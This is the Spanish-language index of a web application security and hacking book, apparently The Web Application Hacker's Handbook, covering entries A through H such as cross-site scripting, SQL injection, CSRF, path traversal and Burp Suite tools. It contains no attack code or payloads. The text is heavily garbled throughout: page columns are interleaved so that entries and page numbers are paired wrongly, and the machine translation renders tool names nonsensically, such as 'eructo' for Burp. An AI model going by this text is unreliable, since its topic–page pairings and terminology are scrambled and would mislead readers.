720 ejecución de comandos del sistema mensajes del depurador, 424–426
operativo, 722–723 desarrolladores, 429–430 oráculo de cifrado, técnicas de fuerza bruta
407–408 descubrimiento, 81–85
función “recuérdame”, 407 escape, 419–420 descubrimiento, 80–93 inferencia a
enchufes, 723 servicios financieros, 412–416 navegación partir de contenido publicado
Redirección de URL, 723 forzada, 411 descubrimiento,
entrada de usuario, 718–719 85–89
Índice n A–A 855
descubrimiento de ejecución de código dinámico, 722 extensiones de navegador componente
información pública, 89– acceso a archivos, 720 de casino, 134

91 servidor web aprovechado para Ejecución de comandos del sistema CAPTCHA, 198–199
descubrir, 91–93 parámetros operativo, 722–723 automatización personalizada,
ocultos, 96–97 puntos de entrada de enchufes, 723 610–611
entrada Redirección de URL, 723 ataques del lado del cliente,

Encabezados HTTP, 100–101 entrada de usuario, 718–719 13 computación en la nube, 14, 663–665
canales fuera de banda, 101 mensajes de error, 628 sistemas clonados, 664 tokens, 665
parámetros de solicitud, 99 Inyección de comandos del sistema operativo a través de, métodos de inyección de cookies, 536–
Rutas de archivos URL, 98– 360–361 537
99 metodología, 114 esquemas redirección, 392
de nombres, 85–86 ejercicio de configuración de seguridad, 723–724 credenciales, 171
fuerza bruta, 88 identificación, 87 interacción de sesión, 719–720 seguimientos manejo de mecanismos de defensa, 30–35
de pila, 617 alertas del administrador, 33–34
vulnerabilidades de recorrido de ruta, Ver estado mantenimiento del registro de auditoría,

371 atacantes, 127 31–32 errores, 30–31 reacción a, 34–35
identificación Codificación Base64, 125–126 elementos deshabilitados, 132–133
de funcionalidad del lado del servidor, Burp Suite, 126 codificación y, 66–67 contraseña olvidada,
106–110 identificación de transmisión de datos del lado del cliente, 14 vulnerabilidades de cadena de formato,
tecnología, 101–106 páginas de 124–127
aplicaciones web versus rutas propósito, 125
funcionales, 93–96 servidores de seguridad, 155
aplicaciones. Ver web ASP. Ver proveedores de servicios de 644
aplicaciones extensión de inyección de encabezado HTTP,

servidores archivo .aspx, 107 Astely, Rick, 541 534–535
proveedores de servicios de aplicaciones cargas útiles de ataque, XSS, 443–447 intenciones, 13

(ASP), 656–657. Véase también ASP. autocompletar, 446 escalada del lado del función de inicio de sesión, 164–165
RED; atacantes de computación cliente, 447 escalada a otras páginas, Bases de datos MS-SQL, 326–327
en la nube, 658–665 acceso, 658– 473–474 modelo de privilegios de varias capas, 283
660 scripts de puerta trasera función de inicio de sesión de
deliberados, varias etapas, 188

660–661 inducir acciones, 445–446 MySQL, 328
entre aplicaciones web, Inyección troyana, 444–445 hosts de red, 561–562 servicios
660–663 Explotación de relaciones de confianza, no HTTP, 562–563
servicios fi nancieros, 658 446–447 bytes NULL, 23–24 datos
organización, 658 seguridad, desfiguración virtual, 443–444 opacos, 124
665–667 segregación de superficie de ataque Bases de datos de Oracle,
componentes, 667 acceso de clientes, fallas en la lógica de la aplicación, 405 otros 327 usuarios, 431–432
665–666 segregación de funciones de mapeo de la aplicación, 111 ejemplo, vulnerabilidades transversales de ruta
clientes, 666 compartido, 657–658 112–113 metodología de hackers, que sortean obstáculos,
amenazas, 657 VPN, 659 fallas en la lógica de la aplicación, 842 374–377
entrada arbitraria. Ver entrada del usuario exitosas, 374
ubicaciones de destino, 370–371
mapeo de metodología de remotas, 427 administración de
hackers, 800 atacantes. sesiones, 20 secuencias de comandos
arquitectura. ver en niveles Ver también controles de acceso de ataques de token de sesión, 217 alojamiento
arquitecturas específi cos, 266–278 tipos, 258–260 compartido, 658–665 acceso, 658–
Armstrong, David, 505 nombres de usuario y contraseñas, 660 secuencias de comandos de
El arte de la seguridad del software puerta trasera deliberadas, 660–661
Evaluación (Dowd & 275–276 entre aplicaciones web, 660–
McDonald & Schuh), 634 ASP.NET ViewState, 127 ASP, 658– 663 almacenadas Pasos XSS, 438–439
código ASCII, 67 665 arquitecturas en niveles, 648–
US-ASCII, 464 acceso, 658–660 654 categorías, 648–649 cifrado de
rompecabezas de Asirra, Microsoft, 612 scripts de puerta trasera deliberados, tokens, 232–233
ASP.NET, 54, 103 métodos API 660–661
entre aplicaciones web, 660–663

base de datos, 721
856 Índice n B–B
significativo, 212 almacenamiento web inseguro, no único, 181–182

Traducción de URL, 396–397 811 adivinación de contraseñas, predecible, 182–183, 197 unicidad,
nombre de usuario, 168 seguridad 807 calidad de contraseña, 806 809 XSS, 473–474 autocompletar
de aplicaciones web, 6 navegadores recuperación de contraseña, 807–808 ataques de privacidad locales, 552
web, 559–568 sitios web creados funciones de "recuérdame", 808 cargas útiles de ataques XSS, 446
por, 448–449 automatización. Ver personalizado
Solicitud XMLHttp, 529 comprensión, 805
XSS, 251 enumeración de nombre de usuario,
delimitadores de atributos, HTML 806–807 automatización
omitir fi ltros, 461–462 nombres de unicidad de nombre de usuario, 809
atributos, HTML omitir fi ltros, 461 explotación de vulnerabilidad para
B
valores de atributos, HTML omitir fi acceso no autorizado, 813
ltros, 462 registros de auditoría contraseña de puerta trasera, 178–179
código fuente, 708 scripts de puerta
mecanismos de defensa manejar Formularios HTML, 160–161
HTTP, 50–51 trasera, deliberado,
atacantes, mantener,
660–661
sesiones evitadas con, 208–
209 componentes de fondo. Véase también
31–32 inclusión de archivos; comandos del
suplantación de identidad, 178–
sistema operativo; camino
eventos clave, 32 180 metodología del hacker,
vulnerabilidades transversales
mal protegido, 32 valor, 31 808–809
controles de acceso, 357
registro de auditoría, 429 fallas en la implementación,
185-191 transmisión de datos, 357
autenticación. Ver también
inyección de encabezado de correo
prevención de fuga de
electrónico, 398–399
controles de acceso; anomalías información, registro 195–
HPI, 390
en la gestión de sesiones, 201 196, función de inicio de sesión 201
fallas en la lógica de la aplicación, causas, 393–394
HPP, 394–395
415–416 rotas, 7 funciones de inicio de suspensión de cuenta, 197–198 falla
sesión de fuerza bruta, redirección HTTP del lado del servidor,
de apertura, 185–186, 194 multietapa,
390–392
186–190, 194–195 mensajes detallados
162–165 de falla, 166–169 explotación, 391–392
CAPTCHA, 198–199 inyección SMTP, 397–402 fallas,

credenciales 400–401 prevención, 402
monitoreo, 201
validación incompleta, notificación, 201 inyección SOAP, 386–388
180–181 funcionalidad de aplicación bancaria, 387–388
distribución insegura, 184 cambio de contraseñas, 171– 172, mensajes de error, 388 búsqueda y
almacenamiento inseguro, 190–191 193 mal uso de la explotación, 389 prevención, 27, 390
manejo secreto de, 192–193 fuerza, funcionalidad de cambio, ataques de traducción de URL , 396–
192 vulnerabilidad de transmisión, 199 397 inyección de solicitud de back-end,

funcionalidad olvidada, 841 carácter de barra invertida, escape
169-171 173–175 con, 419 carácter de comilla
validación, 193–195 inicial predecible, 183 débil, invertida, función de encapsulación de, 363
CSRF, 507–508 161–162 problemas con, 19 función multietapa de aplicación bancaria,
como defensa, 159 funciones de "recuérdame", 263 tokens por página, 252–253
mecanismos de defensa que manejan el inyección SOAP, 387–388 captura de banner,

acceso con, 18–19 fallas de diseño, 175–176, 193 101 Codificación Base64, 69 ASP.NET
161–184 menús desplegables, 193 espías, metodología de hackers, 808 ViewState, 125–126
169 metodología de piratas informáticos seguridad, 191–201 prevención de
ataques de fuerza bruta, 196–199
fallas en la lógica de la sutilezas, 195

aplicación, credenciales tarjetas inteligentes,
811–813, generación automática, 206 escáneres de vulnerabilidad
credenciales 809–810, independientes, 778–779 autenticación básica, 50–51 consultas
distribución no segura, credenciales tecnologías, 160–161 tokens, 160 por lotes, bases de datos MS-SQL,
810–811, transmisión no 317 superando el límite comercial,
segura, suplantación de identidad nombres de usuario
810, 808–809 enumeración, 166–169, 806– fallas en la lógica de la

807 aplicación, 416–417, 429
Índice n C–C 857
BeEF, 565–566 bit contenido oculto, 81–85 función reglas de manejo de sesiones,
flipper, Burp Intruder, 593 tokens de cifrado, de inicio de sesión, 162–165 606–609
228–231 revisión de código de caja contraseñas en wiki, 424 rastreador de manejo de sesión, 609
negra, 702–703 fi ltros basados en listas desbordamiento de búfer límite comercial, fallas de lógica de aplicación,
negras, 23–24 detección, 639–640 416–417, 429 explotación de lógica
XSS, 451–452 metodología de piratas informáticos, 837–838 comercial, 259 código de byte que descompila
inyección SQL ciega, 626 caracteres desbordamientos de montón, 635–636 extensiones de navegador, 139–141
bloqueados, fi ltros, 311–312 vulnerabilidades off-by-one, 636–638 software,
687 código fuente, 709 desbordamientos
aplicaciones de blog, entrada, 22 de pila, 634–635 no controlado, 639 manipulación de JavaScript, 144 ofuscación,
condiciones booleanas, operador 144–146 descarga, 140
UNION, 329 indicador booleano,

107 validación de límites, entrada, 25– destello, 141
28, 313 quiebra bancaria, fallas de lógica Longitud de URL, 639 java, 141
de aplicación, 414–416 extensiones trampas de descuento por volumen, Silverlight, 141
de navegador. Ver también fallas en la lógica de la aplicación, 418, recompilación de código fuente
429
dentro del navegador, 142–143
Burp Intruder, 82–84, flipper de 86 fuera del navegador, 143
Destello; Java; Componente de bits, 593 fichas de cifrado, 228– URL, 140
casino Silverlight, 133–134 atacantes, 231
134 "character frobber", 593
Chrome, 750 automatización personalizada, C
control del lado del cliente de la entrada del 590–602 Certificado CA, Burp Suite,
758–759
usuario con, 133–153 intercepción de recopilación de datos, 598–600
devoluciones de llamada, función,
transmisión de datos, enumeración de identificadores,
135–139 594–597 canonicalización 520
obstáculos, 138–139 datos fuzzing, 600–602 elección entrada, 28–29
serializados, 136–138 depurador software de servidor web, 689–694

de cargas útiles, 592–594
Atacantes
adjunto, 151–152 descompilación, 139–150 posicionamiento, 591–592
CAPTCHA, 198–199
código de bytes, 139–141 ofuscación de tokens predecibles, 213–214
automatización personalizada, 610–
código de bytes, 144–146 análisis de respuesta, 594 ataque de
611
francotirador, 592
autenticación, 198–199 errores,
Ejemplo de applets de Java, 146–150 Codificación Unicode, 375 610–611 automatización

personalizada, 610–612
JavaScript que manipula el código cadenas de agente de usuario, 100
de bytes original, 144 código Proxy de eructo, 754–755
fuente, 142–144 atacantes, 610–611
Repetidor de eructos, 473, 681, 766
Firefox, 750 Escáner de eructos, 764–765 resolución automática, 611–612
resolución humana, 612
metodología de hackers, 802–804 Secuenciador de eructos,
Controles ActiveX, 804 configuración de análisis automático drones, 612
depurador, 803–804 767, prueba de aleatoriedad de 223 tokens,

descompilación, 802–803 219–221 Hojas de estilo en cascada (CSS)
componentes de cliente nativo, 153 política Burp Spider, 74–76, 80 Burp estilos evaluados dinámicamente,
459
del mismo origen, 525–527 Suite AMF, 137 asignación de
Destello, 525–526 aplicaciones, 268 ASP.NET propiedad de familia tipográfica,
518–519
Java, 527 ViewState, 126 certificado de CA,
Silverlight, 526–527 enfoques 758–759 comando de “método de inyección, captura de datos entre dominios,
de orientación, 135 tecnologías, 65 solicitud de cambio”, 474–475 517–519 funcionalidad web, 60–
Comparer, 167 Content Discovery, 88– 61 componente de casino, extensiones de

navegadores Ver navegadores web 89 DSer , 136–137 “solicitud navegador, 133–134 atacantes, 134 CBC.
Véase consulta CGI de encadenamiento
Historial de navegación en el navegador,” 272–273 mecanismos
de bloques de cifrado, 735–736
Robo de JavaScript, 560 ataques de manejo de sesiones,
a la privacidad local, 552 encadenamiento de tokens de cifrado CBC,
ejercicio de esquemas de 227–233 relleno PKC n.° 5, 227–233
nomenclatura de asignación de aplicaciones

de técnicas de fuerza bruta, 88 603–609
prevención de seguridad de autenticación, tarro de galletas, 603–604

196–199 solicitar macros, 604–606
858 Índice n C–C
XSS, 450–451 mitos de validación, 155–156 descubrimiento, metodología

comando “método de solicitud de funcionalidad web, 57–65 de hackers 80–93, mapeo de
cambio”, 474–475 “frobber de Ayax, 62–63, 384 aplicaciones,
caracteres”, Burp extensión del navegador 796–797
Intruso, 593 tecnologías, 65 inferencia a partir del descubrimiento
excepciones verificadas, 30 CSS, 60–61 de contenido publicado, 85–
pagos, fallas en la lógica de la aplicación, DOM, 62 89
410–411 formularios, 58–60 Descubrimiento de Nikto, 93
Subprograma CheckQuantity, 141 HTML, 58 descubrimiento de información
Chrome, 750 vulnerabilidades HTML5, 64–65 pública, 89–91
transversales de ruta del sistema de hipervínculos, 58 descubrimiento de spidering
archivos chroot, 380–381 UNIX, 381 tokens JavaScript, 61 dirigido por el usuario, 81–
de cifrado de encadenamiento de JSON, 63 83 servidor web aprovechado para
bloques de cifrado (CBC), 227–233 relleno política del mismo origen, 64 descubrir, 91–93
PKC # 5, 686–687 texto cifrado, 224–226 VBScript, 61 Descubrimiento de Wikto, 92–93
archivos .class , 141 elemento Aumento de cargas útiles de ataques XSS, servidor web y predeterminado, 92,
ClearedFunds, 387–388 texto claro, 447 671–677
contraseñas, 190–191 clickjacking, 511. sistemas clonados, 664 funcionalidad de depuración, 671–672
Véase también usuario atacantes de computación metodología de hackers, 847
en la nube, 14, 663–665 JMX, 674–676
sistemas clonados, 664 funciones potentes, 673–674 funcionalidad
tokens, 665 mecanismo de de muestra, 672–673
defensa, 664 enfoque de primera Descubrimiento de contenido, Burp Suite,
ataques de reparación de interfaz función, 664–665 pérdida de control en, 663– 88–89
componentes de cliente, nativo, 153 664 migración de herramientas de sistema de gestión de contenidos
lado del cliente administración a, 664 aplicaciones web, 5 (CMS), 77
ataques, 13 almacenamiento web, 665 CMS. Ver servidores web, 92
transmisión de datos, 118–127 herramientas de exploración de código del Encabezado de longitud de contenido, 42
ASP.NET ViewState, 124–127 sistema de administración de contenido, Solicitud POST, 581
inyección de código 743, revisión de código Encabezado de tipo de contenido, 136, 138,
para desarrolladores, 118 288. Ver código fuente, 476, 478, 525–526 dependiente del
metodología de hackers, 801 contexto, controles de acceso, 258
formularios HTML ocultos, 118–120
Cookies HTTP, 121 datos Encabezado de cookie, 41, 47
opacos, 123–124 revisión métodos de atacante de
Encabezado de referencia, 122 comandos Ver comandos del sistema operativo inyección de cookies, 536–537 fijación
seguridad, 154–156 de sesión, 537–540 tarro de galletas,
parámetros de URL, 121–122 comentarios Burp Suite, 603–604 cookies arbitrarias,
metodología de hackers, transmisión MySQL, 303–304, 312 código 537 atributos, 47 restricciones de dominio,
de datos, 801 fuente, 710–711 SQL, 312 245–247 metodología de piratas
HPP, 548–550 Comparer, Burp Suite, 167 informáticos, 820–821
fugas de divulgación de información, 629 aplicaciones compiladas. Vea las
inyección, 531–550 secuencias ocultas de los componentes nativos
del cliente, 213–215 inicios de sesión HTTP, 19, 47
SQL, 547–548 simultáneos, 250 errores condicionales, transmisión de datos del lado del cliente,
JavaScript, validación con, 130–131, inyección SQL, 121
156 seguridad, 431–432 fichas de administración de sesión, 207–
secuestro de token de sesión, 320–322 208, 234–236
fi ltros de consultas conjuntivas, 350 Inyección de encabezado HTTP, 533
243–244 Inyección LDAP, 352–353 función de inicio de sesión, 163
Inyección SQL, 547–548 Método CONECTAR, 682, 755 restricciones de ruta, 247–248
Certificación SSL, 138 entrada contenido persistente, 550 XSS reflejado, 437–
del usuario controlada por, 117 enumeración y funcionalidad, 438
extensiones de navegador, 133–153 74–97 RemembeMe, 407–408
metodología de hackers, Funciones de “recuérdame”, 175–176
801–802 descubrimiento de técnicas ocultas
Formularios HTML, 127–133 de fuerza bruta, 81–85 Nombre de pantalla, 407–408
Índice n C–C 859
gestión de sesiones, ámbito liberal, escalamiento a otras páginas, cookies, 437–438 fi

244–248 473–474 ltros defensivos, 455–456 entrega,
Explotación XSS vía, 475 inducir acciones, 445–446 448–449
Método COPY, función Inyección de troyanos, 444–445 DOM XSS convertido de, 472–473
679 count(), 348 credenciales explotación de relaciones de
confianza, 446–447 explotación, 435–438, 474
atacantes, 171 desfiguración virtual, 443–444 búsqueda y explotación, 452–
vulnerabilidad de autenticación, 169– atacantes, 251 481 metodología del
171 contenido de correo autenticación, 473–474 hacker, 829–830
electrónico, 184 metodología de piratas encadenamiento, 450–451
informáticos, CSRF derrotando tokens anti-CSRF Limitaciones de HTML, 495–496
autenticación con, 510–511 mensajes de IE, 435
autogenerado, 809–810 error de la base de datos, 620 defensa, inserción de entrada, 495
distribución insegura, 810–811 28 mecanismos de entrega, 447–451 validación de entrada, 492–493
transmisión insegura, 810 validación en banda, 449–450 fuera de banda, 450 límites de longitud, 471–473
incompleta, 180–181 distribución insegura, validación de salida, 493–495
184 almacenamiento inseguro, 190–191 prevención, 492–496 función
manejo secreto de, 192–193 fuerza, 192 Basado en DOM, 440–442 “recuérdame”, 437 fi ltros desinfectantes,
validación, 193–195 servidor web y entrega, 448–449 búsqueda 468–471 fi ltros basados en firmas,
predeterminado , 670–671 y explotación, 487–491
validación de entrada, 455–456
497 validación de salida, 497– pasos, 436–437

498 prevención, 496–498 XSS XSS almacenado en comparación
metodología hacker, 846 reflejado convertido en, 472–473 con, 439–440 prueba de
captura de datos entre dominios, entrada de usuario, 453 prueba

515–516 de entrada de usuario para
Inyección de CSS, 517–519 pasos, 441 introducir script, 454–455
Firefox, 521 escapar, 420 evolución de seguridad,
Inyección de HTML, 516–517 explota cookies, 433 vulnerabilidades de token de

Secuestro de JavaScript, 519–520 475 entregar, sesión, 243–244
E4X, 523–524 473–481
devoluciones de llamada de funciones, 520 JavaScript ejecutado dentro código fuente, 704–705
JSON, 521 Respuestas XML, almacenado, 438–440 pasos
prevención, 524 478–479 del atacante, 438–439 entrega,
asignación de variables, 522 contenido de solicitud y respuesta 449–450 prueba de correo
servicios de proxy, 529–531 no estándar, 476–479 electrónico, 483–484 búsqueda
solicitudes entre dominios y explotación, 481–487
JSON, 477 XMLHttpRequest, Encabezado de referencia, 475–476
528–529 XML de envío de XSS, 477– Solicitudes XML enviadas entre limitaciones de HTML, 495–496
478 /crossdomain.xml, 525–526 dominios, 477–478 inserción de entrada, 495 validación
falsificación de solicitud entre sitios fi ltros de entrada, 492–493
(CSRF), 8, 244, 504–511 tokens anti-CSRF, anti-, 452, 748 MySpace, 442–443, 446
508– 509, 516–517 derrota XSS, 510– basados en listas negras, 451–452 validación de salida, 493–495
511 autenticación, 507–508 fallas IE, 479–481 prevención, 492–496 XSS reflejado
navegadores web, 479–481 en comparación con, 439–440
Pares de etiquetas HTML, 422 función de búsqueda, 439
Filtro IE, 479–481 prueba de archivos cargados,
JavaScript, 436–438
explotación, 506–507 servicios no HTTP, 562–563 484–487
prevención, 508–510 mundo bytes NULL, 460 identificación de

real, 505 metodología de Solicitud POST cambiada a solicitud vulnerabilidades, 451–452
piratas informáticos, 820 gestión de GET, 474–475 bajo riesgo, 451 variedades,
sesiones, 251 secuencias de prevalencia, 432 433–442 XSS Shell, 566
comandos entre sitios (XSS), 8 cargas prevención, 492–498 mundo algoritmos criptográficos, 687
útiles de ataque, 443–447 real, 442–443 reflejado, CSRF. Ver falsificación de solicitud entre
autocompletar, 446 escalada del 434–438 sitios
lado del cliente, 447 apache, 442
860 Índice n D–D
CSS. Consulte Curl de hojas de estilo en recopilación de datos, 572 esquema_información, 309–310
cascada, 788 desarrollo personalizado, enfoque básico, 584–586 Burp
aplicaciones web, 10 codificación personalizada, Intruder, 598–600 causas, 583–584 Atacantes
vulnerabilidades transversales de ruta, JAttack, 585–586 usos, 584 de MS-SQL, 326–327
377–378 almacenes de datos. Consulte explotación automatizada, 330 consultas

también Lenguaje de marcado por lotes, 317 bloqueo predeterminado,
barreras de automatización extensible; Protocolo ligero de acceso a 326–327 mensajes de error, 334–338
personalizadas para, 602–612 directorios; Acceso al lenguaje de canales fuera de banda, 317 sintaxis,
Burp Intruder, 590–602 Ataque de consulta estructurado, 288–289 NoSQL, 332–334
recopilación de datos, 598–600 342–343 nivel de privilegio, 287

Ataque de enumeración aplicaciones web que dependen de, Comando ESPERAR, 322–323
de identificadores, 594–597 Ataque Oráculo
de fuzzing, 600–602 atacantes, 327 11g,
318 mensajes de
Rompecabezas CAPTCHA, 610–612 error, 334–338 canales fuera de
atacantes, 610–611 resolución 287 banda, 317–318 sintaxis, 332–334
automática, transmisión de datos. Véase también retardos de tiempo, 323–324

611–612 componentes de back-end de entrada de
humanos resolviendo, 612 usuario, 357
recolección de datos, 572 enfoque extensiones del navegador Operador de UNIÓN, 307–308
básico, 584–586 intercepción, 135–139 buscable y ordenable, 321–322
Burp Intruder, 598–600 causas, obstáculos, 138–139 datos

583–584 serializados, 136–138 lado del procedimientos almacenados,
JAttack, 585–586 usos, cliente, 118–127 ASP.NET ViewState, 339 Davtest, 680 DBA. Consulte el
584 eficiencia, 571 124–127 administrador de la base de datos, los
enumeración de depuradores, las extensiones del navegador

identificadores, para desarrolladores, 118 adjuntando,
572–583 metodología de hackers, 801 formularios 151–152
enfoque básico, 574 HTML ocultos, 118–120 mensajes de error, 425–426, 618–
Burp Intruder, 594–597 detección Cookies HTTP, 121 datos 619
de golpes, 574–576 ejemplos, 573 opacos, 123–124 común, 619

Encabezado de referencia, 122 metodología de hackers, mapeo
Código de estado HTTP, 574 seguridad, 154–156 de aplicaciones, 798 metodología de
Ataque, 577–583 Parámetros de URL, 121–122 hackers, extensiones de navegador, 803–804
Encabezado de ubicación, cuerpo enfoque de carga diferida, 626
de respuesta 575, longitud de opaco, 123–124 atacantes, 124 Java, 151–152

administrador de base de datos errores de lógica
respuesta 575, secuencias de
comandos 574–575, 576–577 (DBA), 325–326 de aplicación de mensajes, 424–
426
Encabezado Set-Cookie, 575 retrasos
el manual del pirata informático de la base de datos, detallado, 425
de tiempo, 575–576 fuzzing, 572–573
326 Silverlight, 152
bases de datos servidor web, 671–672
Intruso del eructo, 600–602
acceso controles de acceso declarativos, 282–
JAttack, 588–590
Métodos de la API de ASP.NET, 721 283
objetivo, 586–587 cadenas,
Métodos de la API de Java, 714–715 descompilar
587 mecanismos de
Métodos de la API del lenguaje Perl, 737– extensiones de navegador, 139–150
manejo de sesiones,
738 Componentes de código bytecode, 139–141 bytecode ofuscación,
602–609
peligrosos, 742 Inyección SQL, 741–742 144–146
escáneres de vulnerabilidad
Mensajes de error, 619–622
independientes, 780–781
Ejemplo de applets de Java, 146–150
usos, 572–573
JavaScript que manipula el código
entorno Cygwin, 577
oráculo de cifrado, 620–622 divulgación de bytes original, 144 código
de información, 619–620 fuente, 142–144 metodología de piratas
D informáticos, extensiones del navegador, 802–
DAC. Ver control de acceso discrecional XSS in, 620 803
ataques de escalada, 319, Jad, Java, 148–150
Captura de datos. Ver captura de datos entre 325–328 huellas algoritmos de descifrado, 650
dominios dactilares, 303–304 contenido predeterminado
Índice n E–E 861
metodología de piratas modelo de objeto de documento (DOM), ECMAScript para XML (E4X), 463 secuestro
informáticos, mapeo de aplicaciones, 61 de JavaScript, 523–524 parámetro de
797 servidor web, 671–677 metodología de metodología del hacker, 849–850 edición, 107 Edwards, Dean, 471 EJB.
piratas informáticos, 847 credenciales JavaScript, 440 Consulte Cifrados de libros de cocina
predeterminadas, servidor web, 670–671 Métodos API de JavaScript, 740 electrónicos Enterprise Java Bean (cifrados
funcionalidad web, 62 ECB), 224–226
metodología de piratas informáticos, XSS, 440–442
846 bloqueo predeterminado, bases de entregar, 448–449 encontrar Email
datos MS-SQL, 326–327 defensa y explotar, URL de activación de cuenta, 184
en profundidad 487–491 credenciales enviadas, 184 falsificadas,
Inyección SQL, 342 validación de entrada, 497 448 inyección de encabezado, 398–399
arquitecturas en niveles, 656 validación de salida, 497–498 prueba XSS almacenada, 483–484 como
software de servidor web, 696–697 prevención, 496–498 XSS reflejado nombre de usuario, 167, 196 codificación
Mecanismos de defensa. Ver también convertido a, 472–473 pasos, 441 de desbordamiento fragmentado de
seguridad directiva DocumentRoot, 683 Apache, 688 atacantes y, 66–67 Base64,
acceso DOM. Ver documento de cookies de 69 ASP. NET ViewState, 125–126
autenticación, 18–19 control, restricción de dominio de modelo de objeto,
20–21 gestión de sesiones,
19–20 atacantes, 30–35 alertas de
administrador, 33–34 mantenimiento de
registro de auditoría, 31–32 errores, 30– 245–247 personalizado, vulnerabilidades
31 reacción a, 34–35 elementos, 17–18 DOMTracer, carácter de transversales de ruta, 377–378
entrada, 21–29 aproximaciones a, 23–25 488 puntos, código de secuencia de hex, 69–70
acceso de usuario, 18–21 fi ltros comandos que pasa por alto las alternativas HTML, 68–69
defensivos, XSS reflejado, 455–456 de fi ltros a, secuencia de 466 “punto-punto- errores del desarrollador, 494–495
barra”, código script saltando fi ltros, 468
369. Véase también recorrido de ruta
vulnerabilidades Unicode, 67–68
Dowd, Mark, 634 código Intruso del eructo, 375
de bytes de descarga, URL, 67
método DELETE, 679 140 tokens de cifrado, Inyección SQL, 300–301
declaraciones DELETE, 297–298 231–232 menús desplegables, truncado, 378
scripts de puerta trasera deliberados, autenticación, 193 software de servidor web, 689–694
660–661 encriptación de .NET, 686 función
fallas en la DSer, Burp Suite, 136–137 “recuérdame”, 177 tokens, 223–233
lógica de la aplicación de los desarrolladores, Dump Servlet, Jetty, 672 ejecución atacantes, 232–233 Burp Intruder bit
429–430 transmisión de datos del lado del de código dinámico flipper,
cliente, 118
Métodos de la API de ASP.NET, 722
errores de codificación HTML, Métodos de la API de Java, 715
494–495 228–231
seguridad de aplicaciones web, CBC, 227–233
operativo, 362 vulnerabilidades, 366–
autenticación de 3 resúmenes, listados descarga, 231–232
367 Métodos de la API del lenguaje
de directorios 50–51, servidores web, Perl, 738 Cifrados ECB, 224–226
677–679 oráculo de encriptación “reveal”, 232
Métodos API de PHP, 730–731
Allaire JRun, 690–691 fallas de lógica de aplicación
cadenas construidas dinámicamente,
nombres de directorio, 105 466 de oráculo de encriptación, 407–408
elementos deshabilitados función “recuérdame”, 407 mensajes de
atacantes, 132–133 error de la base de datos,
E
formularios HTML, 131–133
trampas de descuento, fallas en la lógica E4X. Consulte ECMAScript para XML 620–622
de la aplicación, 418, 429 control de Eagle, Chris, 634 autenticación de espías, "revelar", fichas de cifrado,
acceso discrecional (DAC), 282 filtros de 169 tokens de sesión, 234 eBay, 505 232
consultas disyuntivas, 350 inyección cifrados ECB. Ver cifrados de libros de Enterprise Java Bean (EJB), 53 software
LDAP, 351 archivos .dll, 141 reenlace cocina electrónicos Echo Mirage, 139 de planificación de recursos empresariales
DNS, 563 –564 elemento DOCTYPE, (ERP), 4 enumeración de
384–385 identificadores, 572–583 enfoque básico, 574
Intruso del eructo, 594–597

862 Índice n F–F
detección de aciertos, 574–576 sin manejar, 30–31 fallas nombres de atributo, 461
ejemplos, 573 metodología de de lógica de aplicación de valores de atributo, 462
piratas informáticos, mapeo de escape, 419–420 con carácter de barra conjuntos de caracteres, 464–
aplicaciones, 797–798 código invertida, 419 JavaScript, código de 465 paréntesis de etiqueta, 462–
de estado HTTP, 574 JAttack, 464 nombre de etiqueta, 460–
secuencia de comandos que pasa por alto
577–583 encabezado de ubicación, los filtros, 465–466 XSS, 420 cadena 461 entrada, vulnerabilidades de
575 cuerpo de respuesta, 575 longitud Etag, 128–129 función eval, 362, 722 código recorrido de ruta, 374–377
de respuesta, 574–575 secuencias LDAP, 350
de secuencia de comandos que pasa por alto
de comandos, 576–577 Set-Cookie los filtros alternativas a, 466 controladores de Omisión de la lista de exclusión de Oracle
encabezado, 575 retrasos de tiempo, eventos HTML5, 458 código de script en PL/SQL, 692–694 defensivo de
575–576 ERP. Ver software de XSS reflejado, 455–456 desinfección, 468–
HTML con, 457–458 Expires header,
planificación de recursos empresariales 42 Extensible Markup Language (XML), 56. 471 basado en firmas, 456–457
Véase también Protocolo simple de acceso

a objetos; XML Path Language E4X,
inyección 463, 383–390 higienizante, XSS reflejado,
error de mensajes 468–471
Apache, 628 omisión de código de secuencia de

ASP.NET, 628 comandos, 465–468 alternativas de
base de datos, 619–622 caracteres de puntos, 466 cadenas
oráculo de cifrado, 620–622 construidas dinámicamente, 466

divulgación de información, 619–620 codificación, 468 alternativas de
bases de datos, entrada XSS, funciones de evaluación, 466
620 depurador, 425–426, 618–619 XXE, 384–386, 841
común, 619 generado dinámicamente, interpretación, 387
434 informativo de ingeniería, Escape de JavaScript, 465–466
Explosiones XSS
Entrada de JavaScript, 478– combinación de técnicas múltiples, 466–
467
479 envío entre dominios,
624–625 477–478 VBScript, 467
explotación, 615–625 Extraer función Grep, 598 VBScript y JavaScript,
genérico, 628 467–468
IE, 622 condiciones de coincidencia simples, 350
F
divulgación de información, 615– Omisión de inyección SQL, 311–
625 genérico, 628 función de inicio de sesión de apertura fallida, 185–186, 313
194
XSS
Java, 628 mensajes de falla, detallados, anti-, 452, 748

166–169
palabras clave, 622 basado en listas negras, 451–452
extensiones de archivo, inclusión
Microsoft IIS, 628 IE, 479–481 navegadores web,
de archivos 102–105
Bases de datos MS-SQL, 334–338 479–481 fallas de lógica de
metodología del hacker, 835–836 local, 382 aplicaciones de servicios financieros,
MySQL, 334–338
remoto, 381–382
ODBC, 624 412–416 ASP, 658 bases de datos de
Bases de datos Oracle, 334–338 huellas dactilares, inyección SQL, 303–304
pruebas de fallas, 383
información pública, 623 contenido Firebug, 785 Firefox, 459 extensiones de
recursos estáticos, 382
publicado, 625 script, 616–617 navegador, 750 captura de datos entre
vulnerabilidades, 381–383
motores de búsqueda, 623 servidor, dominios, 521 herramienta Firesheep, 234 kit
619–622 búsqueda, 382–383 PHP, 381– de herramientas para hackers, 749–750
382 manipulación de rutas de encabezado de referencia, 239 herramienta
Inyección SOAP, código archivo, 368–383. Firesheep, Firefox, 234 cortafuegos, 12
fuente 388, 623 Véase también vulnerabilidades alertas, 33 WAF, bytes NULL, 460 primero
transversales de ruta
Inyección SQL, 334–338 -pedir XSS. Ver XSS reflejado
fi ltros
seguimientos de pila, 617–618
caracteres bloqueados, 311–312
operador UNIÓN, 306
VBScript, 616 consultas conjuntivas, 350
detallado, 30–31, 624 Inyección LDAP, 352–353
errores consultas disyuntivas, 350
condicional, inyección SQL, Inyección LDAP, 351
320–322 explotando defectuoso, 313 500 servidor interno
mecanismos de defensa que manejan a los Omisión de HTML, 459–465 Error, 49

atacantes y, 30–31 delimitadores de atributos, 461–462 técnicas de fuerza bruta, 85
Índice n G–H 863
